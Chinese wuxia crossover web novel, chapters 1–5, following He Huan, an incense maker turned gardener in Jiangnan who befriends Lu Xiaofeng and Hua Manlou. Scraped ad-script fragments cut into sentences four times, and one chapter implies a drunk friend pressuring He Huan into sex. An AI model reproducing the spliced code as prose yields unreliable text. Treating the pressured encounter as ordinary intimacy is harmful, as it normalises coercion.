《[综武侠]不见花》 1. 第 1 章 天朗气清,庭中栽种的香樟生得繁茂昌盛,笼罩住大半庭院,为院中人带来阴凉。 何欢坐在树下阴影里调香。在磨好的香粉里兑入去年年底存起来的、自松针上取得的雪水,搓成丸状,再放在一边阴干。香丸在藤编小簸箕中滚动,散发出带有意思清凉的淡雅香气,使人闻之便心情舒畅。 快要结束时,突地听到门外不远处有人似乎在争吵什么。来人脚步逼近时,争吵的音量却越来越小,直到驻足在他门口,就变成规律地敲门声。 他养的小黄狗自觉冲上去一阵汪汪汪,试图威慑来人,只可惜年龄尚小还没什么杀伤力。何欢本也不指着它能做什么,把狗叫过来揉搓两把,“好乖好乖,没事的,不怕。”小黄狗吐着舌头摇着尾巴,用紫葡萄似的眼睛看他,他笑了笑,起身去开门。 刚拉开门,就看见门前站着一位带黑斗笠,将覆面面纱掀起来的熟悉少侠,再往他身侧看,是穿着蓝色劲装的另一位故人,双手抱胸,头扭到一边,闹别扭的样子。 何欢先是对黑斗笠笑了笑,柔声道,“你额上都是汗呢……也是,日头那么大,匆忙赶来,现下一定渴了吧,先进来喝杯凉茶?” 黑斗笠少侠声音硬邦邦的,却难掩话中情意,“不必,我听说有人要来找你麻烦,怕你不知道,便来同你讲一声。对方来势汹汹,如今最好换个地方,暂避风头。”却不提他日夜兼程,跑倒了两匹马才能赶在前面来报信。 何欢闻言一怔,想到什么似的,才叹了口气,“惹你操心了,那我待会儿就收拾。” 黑斗笠一点头,“我在附近的悦来客栈住,你若还有什么要我帮忙的……” 何欢认真注视着他,眉眼弯弯,“若有什么事,我也肯定会同你讲……先擦擦汗吧,不嫌弃的话用我的帕子?” 约莫没有人能拒绝他这样的目光、这样的语气。黑斗笠当然不是例外,他点点头,但拿了何欢的帕子也没用来擦汗,反手塞进了怀里,就先回客栈了。 于是现在只剩一个人还带着火气。对方双手抱胸,见他瞧过来先是哼了一声,瞧着怪高傲的——他家世显赫、少年出名,当然也有高傲的资本。但随即,仿佛意识到自己态度不好,神情又软和了一些,只是仍旧改不了语气,“要不是阿姊交代,我才不来找你。” 何欢理解,“好的,谢谢你替她过来,她风寒未愈,不该多吹风的。” “……” 何欢一双桃花眼望着人的时候像是春风吹过花树,落英在小溪中打转,把人看的神迷目眩,蓝劲装哼哼唧唧半天,才问出声,“你刚刚都请别人了,现在怎么不请我进去坐?” 何欢一愣,把门开的更大些,让开了门口,又道,“并非不想,只是……我在制香呢,你不是不喜欢这些?怕你进来闻着不舒服。” 蓝劲装一咬牙,恨死自己初见时口无遮拦,张口就是“这什么劣质玩意儿熏得小爷鼻子疼”,如今再难找补。他结巴两声,“我…我最近武功渐长,不怕这些。”至于有什么武功能把五感练得更不灵敏……也没人在意这个。 何欢抿唇一笑,“那便进来吧,你喝不喝酸梅汤?我今天早晨刚煮的,解暑。” 他还记得我喜欢酸梅汤…蓝劲装只觉得脸红心跳。 不多时酸梅汤便呈在青鸟蓝瓷杯里端出来,放在蓝劲装跟前,只是与何欢自己面前放的粗瓷碗、没有漆釉的小木桌看起来格格不入。 见蓝劲装看了眼杯子,何欢笑着解释,“粗瓷碗上多少有裂口,瓷质也差,别割伤你。” “我会怕这个?”蓝劲装又哼,直接把何欢身前那粗瓷碗拿过来,喝了一大口。 酸甜可口,梅香萦绕,还带着烈日下难得的清凉。 正如眼前这个人一样合心意。 对方见他这么做先是一愣,随后又露出无奈包容之色,仿佛什么都能接受。因此,有些人反而更想看他吃惊、看他脸红、看他…… 蓝劲装不能再想下去,因为他的脸已经红的不行。 “是不是香气还是过重了?你等等,我去收拾一下…”何欢正要起身,却被人扯住了袖口,“不必…不是那个原因!我就是…太、太热了,一会儿就好。”说完,他咕嘟嘟直接把酸梅汤全灌进肚里,深呼吸两口,运功把脸上的红色压了下去。 “我听……我阿姊听说你惹了麻烦上身,叫我过来看看,你要搬家,不如就搬来我…我们府里,正巧我娘和阿姊都想要个制香师傅,你搬过来,一月给你三两银子,包吃包住。” 何欢看起来很是感动,但思索了片刻,还是摇了摇头,“怕是会给府上添麻烦。” “这有什么麻烦的?”蓝劲装不解。 何欢望着他,欲语还休,然而一切都映在那双会说话的眼中。 “不过是江湖上一些无聊的三流之辈,只是人多而已,我还不放在眼里……好了,我知道你关心我阿姊……那,你搬去哪?我提前给你安排上……” “可能会换到远一些的地方住。” “所以你跟我讲啊,我好……”话音未落,蓝劲装突然反应过来,懂了何欢未尽之意。 他呆滞片刻,“你…你要离开洛阳了?” “或许…我早该离开了,”何欢望着小院中的花圃,此刻一朵残英也无,只余碧绿的叶和空落落的枝头,受此情景影响,不免生出两份离别之愁,反应过来,就试图说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 笑找补,“或许四处漂泊,居无定所,才是我应该过的日子。” 然而这话说出来,不像玩笑,更像自怨自艾,他不由得摇了摇头,自嘲意味甚浓。 “你不要这样说。”蓝劲装不知何时已经握住了他的手,“都怪那些人!可恶,如果不是他们多事……” “不怪任何人,”何欢仿佛没注意到蓝劲装此刻和他的暧昧姿势,他转过头看向蓝劲装,仍是温温柔柔的,“游历名山大川,也是我向往的。只不过洛阳的牡丹太美,我一时沉迷其中。花开花谢,自有定数。人的相遇相别,也是如此。” 谁能留住他?谁舍得违背他的意愿留住他? 至少口是心非的少年人留不住。 又是一天日出烟消,正适合赶路。 “你要往哪边走?”黑斗笠牵着马往前走。 何欢坐在马上,笑道“此刻江南莲花应开的正好吧?” 黑斗笠早早用斗笠上垂下来的黑纱遮住了脸,看不见他神色,却不难听出来他此刻心情不错,“开的正盛呢,你要去江南,我们正好同路。” 他翻身上马,扯缰绳时将何欢整个抱在怀里,也闻见他身上若有似无的香气,“辛苦你与我同乘一匹马,等到了马市,我送一匹好马给你。” “怎么好意思让你破费,我在洛阳也有了不少积蓄…” “那些住家大件不便携带,你都放在了洛阳。等到了江南,租房扫撒置办家具,哪样不需要用钱?以你我之交,不必计较那么多。” 何欢推拒过一次,也不好再讲这些,只是声音更柔,“那就多谢你了。” 马市上,黑斗笠给何欢配了一匹品相上佳的枣红母马,何欢摸一摸她的皮毛,她漂亮的长睫毛眨啊眨,何欢就笑得更漂亮,似有光芒笼罩在这个人身上,并不刺眼,柔和的像是烟粉薄雾、晴朗月华。 黑斗笠骑得那匹黑马好像也很喜欢这匹母马,道路并不窄,但两人同行时距离就挨得很近。 何欢仍旧不在意的模样。 两人行进速度并不快,因为走的多是小路,黑斗笠还担心何欢的身体状况,走走停停。 约摸有半个月,方到江南。 何欢走的时候,除了黑斗笠和蓝劲装谁也不知道,而他要去哪里,也只有黑斗笠晓得,再加上何欢这名字并不少见,所以来了江南,基本便脱离了险境。 黑斗笠还想陪他一起看好房子,结果临时有事,只得走了。何欢白日去找租房,晚上睡在客栈,就这么又找了三四天,才敲定地方。 等付了半年租金搬进去,看着空落落的小院,饶是何欢也笑不出来了,盘算着采买装修,还得找份工作……真是有的忙。 2. 第 2 章 盘算着未来几天,甚至几个月里,他这边为了采买装置家具,总得进进出出敲敲打打,肯定嘈杂,需得提前跟左邻右舍说声。就带着自己做的一些小食饮子,前去敲门。邻里们拿了东西都好说话,纷纷表示很能理解。还有热情的姊姊妹妹,也送了凉粉之类回礼。何欢很是松了一口气。 同一条街,街头巷尾其实差的很远,街头上那家,本来也算不得邻居,搬家不至于吵到。但是这户人家似乎不怎么喜欢关门,倘若大件家具雇人搬来,有手脚不干净的起了什么心思,就不好了。思及此处,何欢觉得还是应该同人说一声。 江南与洛阳不同之处好像从建筑就能体现一二,在洛阳寻常百姓住平房多些,二楼是一块平整地台,也好晒粮食之类。而江南则是黛瓦粉壁,尖顶飞檐的小楼。 这条街便多是二层小楼。街头一家楼房采光好面积大,带一个小花园,且正临着一条大街,大街上多是文玩宝石店,总的来讲交通便利又不失清净,价钱高极;到了巷子最里面,就有些潮湿,地方也逼仄起来,就便宜不少。价格差异也导致了这里住的人身份地位不同。何欢见多了达官贵人,有些眼睛长在天上,有些性格和善。他进这院子前,就做好了最坏的打算——里面是自矜身份的大户人家,他贸然前来,被人冷嘲热讽一通。 即使门大敞着,他也敲了敲门,甫一侧身就能看见满院的花,层层叠叠,生意盎然。一阵风吹过,可以闻见兰花幽香,何欢看着那品相极好的兰花,微垂眼睫。他暗忖,能有耐心将这满院花草都照料极好的人,人品也该是极佳的。 “请进。”院主人声音响起,轻柔温和,好比此刻绽放的花中君子一般,何欢闻言踏进院子,就看到人如其声一位翩翩公子,此刻正坐在院子里煮茶。 听见何欢进来,他就微笑着抬起头望过来,“在下花满楼,不知公子找我何事?” 何欢心想,繁花满楼,真是好名字。人也和善,不计较他没下拜贴就贸然来访,这下可是松了口气。他自我介绍,“在下何欢,今天刚刚搬到这儿来……”半盏茶功夫才将来意说了一通。 他说话向来温和——慢,缓缓道尽,自己都觉得有点耽误别人的时间。好在这位花公子不介意,一直耐心听着,唇边还挂着微笑。 等他说明白来意,对方冲他点头,“多谢何公子提醒,只是我敞着这里的门,就是欢迎所有进来的客人。” 所有客人?这位公子信承来者皆是客的道理吗?何欢一愣,不免又问,“来的若是恶客呢?” 花公子闻言便笑,“若是恶客,也有对待恶客的…礼节。”他在说出礼节二字时笑意更盛,带着点轻松悠闲的意思。 何欢闻言,自见到他院子里似锦繁花就生出来的好感更深一层。他顺势递过食盒,“里面装了几样点心,算是邻里间做客的小小心意,花公子收下吧。” 花满楼欣然收下,还回赠一包茶叶。 识货之人一闻就能知道茶叶是好是坏,何欢也不例外,好茶难得,单这一包茶叶怎么也得有三两银子。一般回礼差距过大,寻常人许或推辞、或喜形于色地占便宜,何欢却没有,好像别人送了他就拿着,语气温柔的道谢,随后便告辞。 待那位何公子走后,花满楼捻起一块冰豆糕,入口绵密微甜,带着竹叶清香和恰到好处的豆香,而无寻常豆糕的涩意。不知怎么做的,没什么渣子,还有一点乳酪味道,格外适口,不似江南流行的任一种糕点。其他两样也相当别致。既可以说是小食,又可以当做茶点,很合适现在就茶吃下。花满楼垂眸,不觉轻笑:何公子送茶点来,正碰上他难得下午饮茶,这也是一种缘分。 接下来几天里,何欢收拾家里,差不多时便将小黄狗放出来,由着它在院里撒欢,小黄狗睡了一觉起来换了新地方,却一点也不怕,大摇大摆在院子里左跑右颠,满院子圈领地。 再然后,他出去找工作,总能和附近来往商贩行人交好,临近的街上店主也对他赞赏有加。 他们说:何公子真是个妙人,温和有礼又不拘小节。对旁人可谓体贴入微,家教应当极好,竟还可以很自然的融入市井。此外,身上带着似有似无清淡香气,随着清风缓缓流淌,令人闻之忘忧。 …… 来到江南,他的工作也换了,原本是制香,但他那不大不小的麻烦也可以说是从制香上来的,索性不再干这一行。本来不知道做些什么工作好,不过花公子给了他灵感——他做花匠去了。 小到给大户人家伺弄花草,大到设计园林, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他都能干点。不过刚刚入行,也没人找他弄这个,只是自己种了花草,去赶花市。远不比在洛阳赚的,好在那些花品相都好,卖的也快。由于成活率高,人传人再加回头客送礼,慢慢也稳定下来了。 从他决定干这个,大把时间需待在院子里精心伺候花草,随即又忙着买卖回本,约莫有小半年时间,手头才宽裕下来。一不急着用钱,他就开始躲清闲。原本三五日去一次花市,现在十天半个月才能在花市见他一面,有些别有用心的相公娘子,可谓是望穿秋水不见君。 这天,好不容易等到他。 何欢穿着短褐架着驴车慢悠悠过来,车后面全是秀丽花草,他坐在前面,两相映衬,人与花都显得越发貌美。 正经买花的来去如风,等人的就不一样。一会儿问何公子这几天去了哪里,一会儿问下次什么时候来,这已经算是矜持,最奔放的是一些女侠,直接就问他家在何处,可有妻儿,能不能做个相好。 可见江湖儿女与平民百姓还是有些不同。 何欢待人接物都诚恳,只是不太会拒绝旁人。一般而言婉拒一次之后,再提出的要求他便不好意思拒绝了,于是就出现这样的情况: 某女侠问:你要不要娶我? 何欢面露难色婉言谢绝。 某女侠一点头,再接再厉,“你要不要和我去约会吃酒?” 何欢总是面红耳赤,拒绝的话说不出口,大家就当他默认。拉着手、挽着臂,就跟人一起出去了。 一般来讲这种男子,别人会觉得他在占人便宜,可何欢不,他生来自带让人怜惜的脸和气质,总让人觉得是女侠欺负他,而不是被他欺负……实际上,女侠们也是这么觉得的。 毕竟他总是规规矩矩的,相比毛手毛脚的、又或者充满攻击性的男人,明明有血有肉,他却更像是……像是他自己种的那些花。却永远安静且温和的待在那里,始终清恬绽放着。他看你的眼神永远包容,永远澄澈,没有爱情,也没有欲望,仿佛他在你身边,只是希望你开心一样。而且,他真的在很努力的让你开心。 或许那些男人们喜欢逛秦楼楚馆,正是喜欢这种小意温柔、别无他求的女子。 而男人们喜欢的,但凡接触过,女子也喜欢。 3. 第 3 章 黑斗笠办完自己的事回来找何欢,也是没有想到他变成了个花匠。本来还在打听哪里有新来的制香手艺人,问了几天也没什么结果,达官显贵处也寻不见他,结果反而在酒楼吃饭时,无意中听见与何欢相符的形容——他带着刀蒙着面去隔壁桌问,把隔壁桌平民百姓还吓了一跳……好在终于寻到他。 只是听听,这名声着实算不上好。 “何相公啊,人是很好的,就是耳根子太软了。” “唉,不是良人……” 一旦有了大概方向,黑斗笠听见的江湖上对他的传闻也越来越多。 “听说他人不错,活儿也好的很,真想见他一见。” “的确不错,手上功夫尤其好。” 然后就是眉眼交谈,女侠们笑成一片,你推我搡,复又红了脸。 黑斗笠只听了几句就脸色又青又白,想着等找到他时一定要狠狠斥责他。可等找到何欢时,他花市卖花,穿着打扮与以往截然不同,褐色短衣衬得皮肉更加雪白。透露出一种纯挚,眼睛晶亮,又是别一种风情。像……沙砾里的璞玉,让人有种不经意间寻觅到宝藏的怦然心动感。 何欢见到他惊讶了一下,和旁边围着他聊天的人告别,就走到黑斗笠身侧,看了看自己沾了泥土的衣服,停驻在一个不远不近的位置,冲他微笑“你来了。” “……嗯。”终于还是没说出什么强硬的话。 于是何欢笑的更好看了些,“你接下来还有事情要忙吗?要不要去我那里坐一坐?” 黑斗笠已经被他这两句话中的熟稔与柔情安抚内心的焦虑与嫉妒,可是当他们回到家里,不过一炷香功夫,就有两三个邻居家的少男少女前来,不是送茶水送点心,就是借酱油借鸡蛋,又把他气的不轻。 “你再不改改自己的作风,不管到哪里都会有麻烦缠身,搬家也什么意义。”一气之下,他抱着剑,口不择言。 何欢闻言,半晌无话。 “……抱歉。”黑斗笠并不觉得自己哪里说的不对,但看他沉默不语,已经开始反省自己言语是否不当。 “你没说错,”何欢摇摇头,“我自己也知道……只是,不太擅长这个。我只觉得,他们并没有什么恶意,所求之物我也给得起,只要得到了,他们便会觉得开心,我也没什么损失,何必拒绝呢?” 黑斗笠也被他搞得无言以对。 “…不是这样吗?”何欢虚心请教。 黑斗笠一向只做有价值的事,比如杀人能拿到钱他才会去杀人;找人解决生理需求他觉得浪费时间所以不去做。何欢跟他是截然相反的两个人——不过他一开始也是因此被吸引的——他也不知道这种想法哪里有问题,只是模糊觉得不对。 难得的,两人不欢而散。 对于何欢来说其实没什么,主要是黑斗笠闷闷不乐的离开了。 今夜月明,银月弯钩,定在深蓝天幕。有轻薄云纱环绕在其身侧,随着清风聚散。明明是如斯美景,最适合与朋友一同饮酒赏月畅谈心事,如今却只留他一个人在院中。何欢手握酒杯,杯中却空空如也,他准备好的美酒还没开封,同他一起望向月光下的婆娑树影。 何欢轻叹了一口气。 小黄狗从狗舍出来,汪汪两声安慰他。 何欢摸了摸小狗。夜风有些凉,又去狗舍给它加了两层碎布垫在身下,随后就打水洗漱,准备睡下。 天光乍亮,左邻右舍家的鸡鸣此起彼伏,何欢起身,今日他不打算去花市,就在小院里照料花草,他许久不动身做香,自己常用的香所剩也不多,就想着今天上午制一些自己用。东西是之前就备好的,今日只管磨香制香就好。将做好的香线放着阴干,已经到了中午。 一旦早晨忙着制香,中午就犯懒,他懒得做饭,想着出去酒楼吃点。昨天与黑斗笠聊到江南名吃,其实提到一家酒楼,本来说好今日一起去的,如今……他自己过去也无不可。 既去酒楼,还是得换一身装束。他着月白仙鹤银纹长衫,将头发束好配上同色发带,往酒楼方向走。邻居见了都多夸两句,他一一谢过,看起来落落大方,只是耳垂有些泛红。 这家酒楼不愧是众人推荐,此刻还不在饭点,人已经不少。他觉得一个人坐大堂更划算,但环顾四周却没有空着的桌子。不然下次再来——这样想着,却听见靠窗一男子笑着招呼,“兄台不介意,可与我一起坐。” 这名男子长相俊逸,脸庞棱角分明,只看长相甚至有些冷峻。但胡子留的非常整齐,乍一看像是两撇眉毛长在了嘴巴上,平添一份平易近人。且他笑容灿烂,一看就叫人升起暖意。也就淡化了那一分犀利。 何欢见到他格外有感染力的笑,竟不自觉也想笑,于是真的笑着坐到了他对面,“多谢兄台。” “在下陆小凤,不知兄台如何称呼。” “在下何欢。” 对方真是个健谈的人,他不仅兴致勃勃的给 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 何欢推荐了酒楼的菜品,两人吃饭时兴致一起还介绍了江南的多处美景。何欢受益匪浅,不仅这顿饭吃的津津有味,还知道过段时间该往哪边欣赏风景了。 何欢心心念念江南芙蕖盛名,“我初来时是去年七月末,听闻莲田碧海接天,红莲映日之美景。只可惜忙于诸多事宜没有仔细欣赏,今年可要好好游玩一番。” 陆小凤却对吃食格外有研究,“届时也是太湖银鱼最为鲜美之时,银鱼与火腿放在一起煨,汤汁鲜美,再将豆腐切滚刀块,打碎了鸡蛋下去,入口滑嫩先填,是时节圣品。倘若只赏莲不吃银鱼,也不算极美。” 这形容真真有画面感,何欢本没什么口腹之欲,也不得心服口服,“多谢陆兄,受教了。” 两人说是拼桌,其实是一起吃了顿饭。毕竟酒楼菜品诸多,两个人比一个人点菜方便不少,可以多多品尝不同的招牌菜。 等到结账时,何欢感念对方主动拼桌之情和对江南的介绍,本来想主动结账,没想到陆小凤笑眯眯的直接叫小二记账,掌柜与他应该也是熟人,二话不说就叫记完了账,还寒暄了两句。 于是何欢听出来,这位陆小凤陆兄,应该在江湖上颇有盛名。 说起来,那位黑斗笠好像在江湖上也小有名气……不等他细想,这位陆兄已经笑眯眯要与他别过了。 何欢连忙叫到,“陆兄留步。” 陆小凤“嗯?”了一声。 何欢刚刚与他聊到酒,便知对方是好酒之人,正巧他家中那坛酒这两天是最佳开封的时候,过时虽然酒会更陈,但那独特的风味就淡了,黑斗笠走了,他不愿一人饮酒,平添寂寞。不如就赠给陆小凤。 “今日多谢陆兄,我家中有一小坛自酿酒,若不嫌弃,我将它放在掌柜这里,陆兄抽空来喝。” “那很好,多谢何兄。” 何欢本意是回家拿了酒直接送过去,抄小路回去,不想在街头又遇到陆小凤。 “咦,好巧,你住这里?”陆小凤惊讶。 “是的,往里走便是我家,陆兄这是……” “我来找我的一位朋友,他笑着指了指那扇敞开的门,“在他这儿叨扰两天。” “原来陆兄是花公子的朋友。” “哈哈,这就是缘分吧,何兄下午若没事,现在就快快回家取了酒,这酒就该今日拆封,好让我们三人一起喝,届时我们更可以好好聊聊。” 何欢一愣,答应下来。 4. 第 4 章 “好酒!”陆小凤原本对何欢所说的自酿酒没什么期待,只是他为人如此,总不愿让朋友失望——哪怕是新见第一面的朋友。等何欢拿来酒时,也不过是普普通通一个小酒坛。泥封结实,一点香气也无。结果拍开泥封,一股出乎意料的浓香逸散开来,让他完全不记得之前刚刚在想什么了。 他只想好好品尝一下这坛美酒。 酒液丝毫没有令他失望,有着上等的醇厚而绵密的口感。待这份丝滑流入咽喉,延迟了片刻的辛辣像是泼辣但漂亮的少女用藏着钩子的眼神引诱你。倘若只有这一种辛辣的刺激,虽然是好酒,也不会让人流连。这份佳酿在让你感到凛冽的同时,又好像融和了秋夜的月光一般冷清、江南的柳枝一般清新柔软,像是床榻上的薄纱,困住了多少浪子的步伐。 “当真好酒,如果不是何兄赠饮,恐怕我要一直无法理解那些嗜酒如命的人了。”花满楼不同于一杯接着一杯饮酒的陆小凤,他举起酒杯抿过一口酒,任谁都能看出他脸上赞叹的的神色,他出口的称赞更是诚恳,让何欢高兴之余有些脸烫。 “哈,花满楼,这你可错了,就算你喝了这酒,也没办法理解我们这些嗜酒如命的人的,”陆小凤笑嘻嘻的,“因为这酒的确极佳,倘若我一直喝到的都是这种酒,那我就不是嗜酒如命了,为了喝酒,可能我会不要命呢。” 他们过于直白的夸赞,让何欢有些羞赧。他酿酒,自己却不怎么沉迷,也并不多喜欢,只道,“陆兄谬赞了…这酒能在恰好的时候开封,被陆兄和花公子饮用,才能展现出它最佳的风味,错过了时候,又或者是不一样的人喝,便不是这种味道。” “极是,极是,也得有我这样灵巧的舌头,才能分辨出这酒中真味啊。”陆小凤得意的摸了摸自己的胡子,又冲何欢道,“何兄啊,你我三人一起吃过饭饮过酒,也算是朋友了,这称呼是不是可以改一改?不必一直那么客气吧。” 陆小凤相当不习惯被朋友叫陆兄……一般这么客气,都是有麻烦找上门了。 何欢对此从善如流,只是不知道怎样算是不客气,他想了想,先试着叫了一声,“小凤?” 刚刚还撺掇他改称呼的陆小凤打了个寒颤,“我真没想到,有朝一日竟然能听到这人这么喊我。” 花满楼笑着摇头,“他的朋友们要么直呼其名陆小凤,要么,就叫他陆小鸡。于我也是一样,何兄可以直接叫我的名字,或者你要是不适应,也可以称呼我为七童。” 何欢闻言才明白过来,原来不客气的意思是直呼全名或绰号,的确不客气。“好的,花…七童,你们也直接叫我的名字就好。陆…陆小鸡这个称呼,是怎么来的?” 话音方落,何欢就想起那句:落毛的凤凰不如鸡。他瞪大了眼睛望向陆小凤——原来是这个意思吗? 陆小凤神色无奈,摊了摊手。 这时,何欢才隐隐觉察到,这位花公子——七童——不像自己所想的全然是温柔高洁、不染烟火的,他面对自己朋友的时候,似乎还有几分恶趣味。推及更早,他们第一次见面,似乎这种性格也有所显现。 在意识到这点之后,何欢忽然觉得他有些可爱。 陆小凤不知他后来的这番心理活动,只是被揭了短怪郁闷的,“误交损友啊,误交损友…何欢,希望你快快忘掉陆小鸡这个名字。” 他眼珠一转,思绪跳动的很快,“不知你年岁几何,是小欢还是老欢呢?” 何欢一怔,“这、说来有些不好意思,我不怎么记时间……”他思忖片刻,才迟疑道,“约莫有……二十岁?” 陆小凤哈哈大笑,“我只以为自己糊涂,没想到有人比我还糊涂,那我也约莫虚长你四岁,你是小欢。” 何欢笑而不语,花满楼竟也顺势说道,“那我也比你虚长有两岁,小欢可以叫我花七哥。”他说完自己就露出微笑,陆小凤闻言更是乐不可支,他抚掌解释,“他在家里排行第七,是最小的,从没有人叫过他花……花七哥哈哈哈哈哈哈。” 从没有人么……何欢心念一动,也不扭捏,直接促狭叫道,“花七哥。”随后就看到花满楼有些泛红的耳垂。 “哈哈,他被叫哥哥了,反而不好意思。” “唉,反被将一军。”花满楼假装叹气,实际上脸上笑意却怎都藏不住。 何欢晚上回家时心情还很好——今日结交了两个很好的朋友,他自觉满意。回家却看到黑斗笠坐在院子里等他。 一见他回来,就面无表情的看向他,“你又去招惹了什么人?” 他一说话,何欢就闻见他身上的酒气,无怪他此刻脾气那么冲,便好言好语解释,“不过是去邻居家做客,顺便认识了两个朋友。” 对方冷哼一声,“做客?认识朋友?做哪门子的客,认识的又是怀有什么样心思的朋友?” 何欢听他这么讲,沉默少息,垂下眼眸,“你不要这样说,今日的朋友不同以往,他们品性都很高洁。” 他又道,“我不同醉鬼计较,先去给你倒些水。” 黑斗笠却抓住了他的手,不让他动,“你许好要同我一起的,是不是?” “今日吃饭吗?可你昨天已经走了,我等到中午你也不来,所以我就先去吃了…” “不,不止这个…你跟我一起来江南,你愿意告诉我你住在哪里,你对我这样好,所以……你是愿意的,是不是?” “什么?不……等下,你……你是不是大醉了?过于不清醒?”何欢有些讶异,他推了推黑斗笠的胳膊,却让人把他抱的更紧了。 “别推开我,你知道我想要什么的,明明可以给他们,你不能给我吗——” 何欢手上的力气渐小,他垂下手,闻见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对方身上浓郁的酒气,声音细不可闻,“你…原来你也想要这个吗……” 月上枝头,柳叶遮住垂照的月光,室内门窗紧闭,唯有暗香涌动,随风而起,随风而逝。 …… 何欢的卧房被黑斗笠占了,他自己也不想待在这里,现下没有什么睡意,便将身上的酒气冲掉,换了身厚实点的衣裳,往外面走,想去湖边赏月。 刚走到街头,就听到熟悉的声音响起,“已经很晚,怎么还没睡呢,小欢?” 是花满楼的声音。下午还坐在一起饮酒说笑,现在却莫名有些想要躲开。但最终,何欢脚步还是停住,老老实实回答,“睡不着,出来走走…你怎么也没睡?” 花满楼笑了一声,“这一晚上被陆小凤魔音贯耳,他倒是睡着了,我如今却清醒。你要是也睡不着,不如过来陪我坐一坐。” 啊……陆小凤喝醉了之后一直在唱歌,至少何欢走之前还在不着调的唱着“青雀”。被那样吵过,的确难觅安静。 两个人待着聊聊天也好,这么想着,何欢缓步而入。 “稍等,我去点灯。”花满楼原本似乎是坐在正厅里的,去拿了打火石点着灯,就来到院子里,对何欢道,“夜间好像也不宜饮茶,阿欢不介意我拿白水招待你吧?” “怎么会,你肯收留我就好。”何欢随他坐下。 随后花满楼似是嗅到什么,问他,“我闻到血腥味,你可是受伤了?” 何欢蜷了蜷手指,遮掩似的,苦笑一声,“这……小伤罢了。” 他着急转移话题,问,“对了,你既然没有睡,怎么方才不点灯呢?” 花满楼神色如常,依旧那么温柔轻松,“因为我看不到,既然看不到,便不需要点灯了。” 何欢过了片刻才反应过来他的意思,呼吸一滞,“抱歉,我,我完全没意识到。” 花满楼却不觉得这是多大的事情,“虽然我看不到,却得以听到很多常人听不见的声音、感知到很多旁人感知不到的事,没有什么好遗憾的。” 何欢见他确实不在意,心胸之豁达让人佩服,只觉得此刻再表达出自己的歉意或者惋惜,都是在瞧不起这个人,便点点头,顺着他的话想了下去,言到,“我……以前听人说过,有些人只消一闻,就能知道香料里是主木香还是主水香,同一种水香能闻出来是自莲叶上的水还是松针上采集,同一种松露能闻出是秋天还是冬天事后收集到。” “哦?有这种事?” “秋天的松露闻起来带着一种松果的香气,而冬天的松露带着冰雪的凛冽,神不神奇?”何欢谈起来香简直像是个多话的小孩子,带着天真的稚气,还有兴高采烈的分享欲,花满楼听着他的声音从紧张到放松,从苦闷到轻巧,神色温柔。 夜凉如水,此夜的月光如果凝成香,又会是什么味道? 5. 第 5 章 何欢醒过来的时候发现自己在花满楼家的客房里,他不好意思的冲花满楼道谢,随后匆匆忙忙回家。黑斗笠已经不在了,留下一封算是道歉算是诀别的书信。 何欢看着那封信,半晌叹了口气。 日子终究还是回归平淡,陆小凤在江南待了小半个月,等到了莲花盛开的时候。他约上花满楼和何欢一起出门赏花,顺便去吃醉香楼名声不小的银鱼宴。 他往何欢院子里进来,也不坐下,就转来转去。何欢有些疑惑,问他,“怎么了,你之前把什么东西落我这儿了吗?我没发现啊。” 陆小凤眼睛一转,笑道,“可不是把一件特别重要的东西落你这儿了吗。” 何欢不解,就听得身后传来花满楼的调侃,“他大概是把一截酒肠子落你这儿了。” 何欢看过去,就看见花满楼含笑望着这边,或许是听见他转身的声音,恰到好处的冲他眨了眨眼睛。 完了,有点想笑。 “果然还是七童懂我,阿欢啊,你和我的友情还是需要再磨炼一番。”这段时间越发熟了,说话也更轻松,阿欢小欢老欢混着乱叫,且这人被说往往不以为耻反以为荣,摸着自己的两撇胡子问,“你前几天说的到了时节的酒埋在了哪里?” “呃,就在……”何欢话还没说出口,就见花满楼冲他摇了摇头。 “你若是告诉他地方在哪,他下次说不定会自己就熟门熟路的溜过去。” “哈哈,可悲啊,什么时候我的老朋友和我的新朋友竟然感情比我还要好了,居然站在一起说我这不足挂齿的小缺点。” 何欢抿唇一笑,“七童都这样说了,那你还是先出去吧,我可不能让你知道这酒埋在哪里。” “阿欢,你可不像是这么小气的人。”陆小凤装模作样夸张的抱怨。 “原也是无妨的,只是酿好的酒不到时候,就不是那种味道。”明明连自己的年龄也记不住,在这种小小时间上却莫名坚持。或许这就是行家精神? 陆小凤叹了口气,“好吧,我听老行家的。” 正巧小黄狗出来,已经跟它混熟的陆小凤蹲下身子摸了摸狗头,“狗兄啊狗兄,你看着桌上的烧鸡不能吃,我等着地里的美酒不能喝,我们可真是同病相怜……唉,今日等我吃完饭,一定将剩菜带回来给你。” “那烧鸡太咸了,狗本来就不能吃。”何欢笑道,“你可别瞎喂它。” “人也要养生,狗也要养生,我可算知道你和花满楼感情为什么比我好了。” 哪有的事……何欢想这样讲,只是瞥了一眼花满楼,还是没有说出口。 “陆小凤竟在意起这个,下次再说女儿爱娇,就该让他们听听陆小凤少侠是怎么吃朋友的醋的。”花满楼却没放过他。 偏偏陆小凤还愣了一下,没及时想出怎么反击,摸了摸自己的胡子,叹了口气,“唉,错了错了,不该耍着嘴皮子,一张嘴说不过两张嘴。” “我可什么都没说?”何欢震惊。 时候不早了,陆小凤最终还是被赶到门外,只能听见里面两人的声音若有似无。 “我当时想着,这个时节,适合饮清淡些的酒,也不知道你们喜不喜欢。” “酿酒之道,我看阿欢已经掌握的炉火纯青,何况还是你的心意,怎会不喜欢。可需要我帮忙?” “不,不,怎么好意思叫你做这些。” “阿欢又客气了。” “那,锄头在这里。” 随后两人走远,陆小凤笑着摇摇头,抱着狗溜着回花满楼的小院。 他想起初识何欢的场景。 对方身穿北方时兴的花色缎子裁成的长衫进了酒楼,只一瞬就吸引了大部分人的注意力。 那是一张无论怎样,都称得上美丽的一张脸,面若好女,色如春花,倘若是女人,定是江南津津称道的佳人。若是男人,那也能让人一眼就心生好感,想要交个朋友。 